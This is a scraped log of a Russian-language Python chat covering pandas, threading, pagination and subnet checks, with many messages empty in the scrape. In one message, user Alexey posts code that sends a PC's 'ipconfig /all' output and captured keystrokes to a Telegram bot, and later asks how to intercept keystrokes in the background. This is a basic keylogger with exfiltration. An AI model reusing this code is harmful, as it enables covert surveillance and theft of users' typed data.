
фей
12.02.2019
10:24:04
df =df.replace('--', np.NaN)

Valien
12.02.2019
10:24:29
А если в конкретной колонке, передай словарь в реплейс ({столбец: '--'}, np.NaN)

фей
12.02.2019
10:28:46

Михаил
12.02.2019
10:34:11
какая разница между тредами и процессами? МОжет кто нить нормально объяснить? Гугль дает The threading module uses threads, the multiprocessing module uses processes. The difference is that threads run in the same memory space, while processes have separate memory. This makes it a bit harder to share objects between processes with multiprocessing. ... Spawning processes is a bit slower than spawning threads. Мне не понятно как выбрать между тем и тем для проекта?

Google

Roman
12.02.2019
10:34:27
знает кто какую-нибудь около полифил либу для питона, чтобы из 3.5 можно было использовать асинхронные фичи из 3.7 типа asyncio.run, asyncontextmanager, AsyncExitStack с хоть какой-нибудь поддержкой typing'ов?
async_generator кое как позволяет некоторые вещи использовать, но с тайпингами проблема

Terminator
12.02.2019
10:34:37
@monkdok будет жить. Поприветствуем!

Валентин
12.02.2019
10:36:15
Треды шарят одну память в ОЗУ, у процессов у каждого своя
Процессы спавнить дороже по времени, чем треды
Между процессам сложнее передавать данные

Константин
12.02.2019
10:37:26
@MechanisM когда деньги вернешь, за невыполненную работу?

Михаил
12.02.2019
10:38:17
Треды шарят одну память в ОЗУ, у процессов у каждого своя
у меня есть джанго и есть скрипт который запускается и тащит значения из БД, одноврменменно моежт работать 30 процессов и более. ОН выполняет дейсвтия и севит в БД. как тут правильнее поступить? Треды ил ипроцессы? и еще вопрос как правильно треды убивать?

Terminator
12.02.2019
10:41:35
Данил будет жить. Поприветствуем!

Alex
12.02.2019
10:47:15

Алексей
12.02.2019
10:47:35

Alex
12.02.2019
10:48:27

Robot
12.02.2019
10:49:18

Google

Robot
12.02.2019
10:50:05

Andrew
12.02.2019
10:50:12

Robot
12.02.2019
10:51:20

Andrew
12.02.2019
10:52:21

Михаил
12.02.2019
10:53:04
у меня линь стоит, но получается каждый воркер который я запускаю начинает жрать память 60м джанго для коннекта к БД + на самой базе процесс порождается который отвечает за этот коннект еще метров 100. Есть ли какой-то еще выход или надо как-то логику менять?

Robot
12.02.2019
10:53:34

Владимир
12.02.2019
10:54:23

Robot
12.02.2019
10:55:08

Владимир
12.02.2019
10:55:59

Robot
12.02.2019
10:57:15
Я же выделил к чему это.
многопроцессорные машины, есть необходимость запускать много процессов и общатсья между ними, тредов еще не завезли, поэтому это оптимизированно очень давно.
ну и сама архитектура юникс, где много маленьких программ подразумевает что очень много форков происходит.

Terminator
12.02.2019
11:01:49
@LeekSer будет жить. Поприветствуем!

Alex
12.02.2019
11:05:29
создание треда и fork реализованы через один и тот же системный вызов clone(), с разницей в флагах.

Andrew
12.02.2019
11:09:40
проблемы индейцев...
Уровень дискуссии не тот. Не обсуждаются отличия pe от elf или особенности загрузки динамическх модулей.

Alexey
12.02.2019
11:16:45
Почему когда я выполняю функцию send() то она работает отлично, но когда после нее прописываю цикл while, она не выполняется, вернее выполняется, но без результатно
def send(msg):
url = 'https://api.telegram.org/botФФФФФ/sendMessage?chat_id=ффффф&text='
re.get(url+msg)
return True
if send( subprocess.check_output('ipconfig /all').decode('cp866') ): #отпрвляем данные о ПК
while True:
key = getch().decode('cp866')
if key == ' ':
send = send(''.join(word))
print(''.join(word))
word = []
elif key == '\r':
send = send(''.join(word))
print(''.join(word))
word = []
else:
word.append(key
В if запихнул словие выполнения, и нифига, все равно

Terminator
12.02.2019
11:19:01
@RomanM7777 будет жить. Поприветствуем!

Denis
12.02.2019
11:20:08
Коллеги, а как принято делать пагинацию, если объекты упорядочены не по id? Есть варианты, кроме запроса по оффсету?

Google

Олег
12.02.2019
11:20:38
Хотя бы код ответа стоит проверять

Danil
12.02.2019
11:21:30

Denis
12.02.2019
11:21:46
И нужно, соответственно, уметь показывать страницу номер N

Alex
12.02.2019
11:27:17

Denis
12.02.2019
11:28:19
Вообще там разные порядки могут выбираться, хочется сделать универсально
В DRF нашел такое, но там слишком много требований
https://www.django-rest-framework.org/api-guide/pagination/#cursorpagination

SadANTONYAO
12.02.2019
11:32:39
есть люди которые работают с GitLab?

Alex
12.02.2019
11:34:01
По количеству лайков
можно что-то придумать вроде сортировки критерию + id и делать фильтр по последнему критерию на предыдущей странице.
что-то типа:
likes > 432 OR (likes == 432 AND ID > 10) ORDER BY (likes, id)

Tishka17
12.02.2019
11:35:50

Roman
12.02.2019
11:36:01

Alex
12.02.2019
11:36:21

Roman
12.02.2019
11:36:38
зато не по оффсету

И
12.02.2019
11:36:46
Есть список подсетей. На вход нужно подавать случайный ип адрес и проверять, входит ли он в этот список подсетей. Может есть либа какая?

Alex
12.02.2019
11:37:02

Google

Alexey
12.02.2019
11:37:51

И
12.02.2019
11:40:08

Nikolay
12.02.2019
11:42:38
Всему молодеш учить надо

И
12.02.2019
11:43:55

Nikolay
12.02.2019
11:44:19
Но правильнее ipadress модуль использовать
Там внутри то же самое

И
12.02.2019
11:45:17

Nikolay
12.02.2019
11:45:27
Не может быть

Alexey
12.02.2019
11:45:32
Парни, как можно в фоне перехватывать нажатия клавиш? Например чтоб я мог писать что-то в блокноте, а все транслировалось в ком.строку

Alex
12.02.2019
11:45:51

Whore Amazing
12.02.2019
11:45:55
кейлоггер пишешь?

И
12.02.2019
11:46:38

Alexey
12.02.2019
11:46:59

Whore Amazing
12.02.2019
11:47:29

Yury
12.02.2019
11:47:41
мидасик на пудже))0

Alexey
12.02.2019
11:47:49
Чисто expirience)

Whore Amazing
12.02.2019
11:47:59

Google

Alexey
12.02.2019
11:49:24
все равно же напишу

Alex
12.02.2019
11:51:23

И
12.02.2019
11:54:10

Alex
12.02.2019
11:54:47

Nikolay
12.02.2019
11:55:10
Плохой подход

И
12.02.2019
11:55:42

Alex
12.02.2019
11:55:58

Nikolay
12.02.2019
11:57:17
Подсети разные вообще или только маски разные?
Адреса сети

Tigran
12.02.2019
11:57:48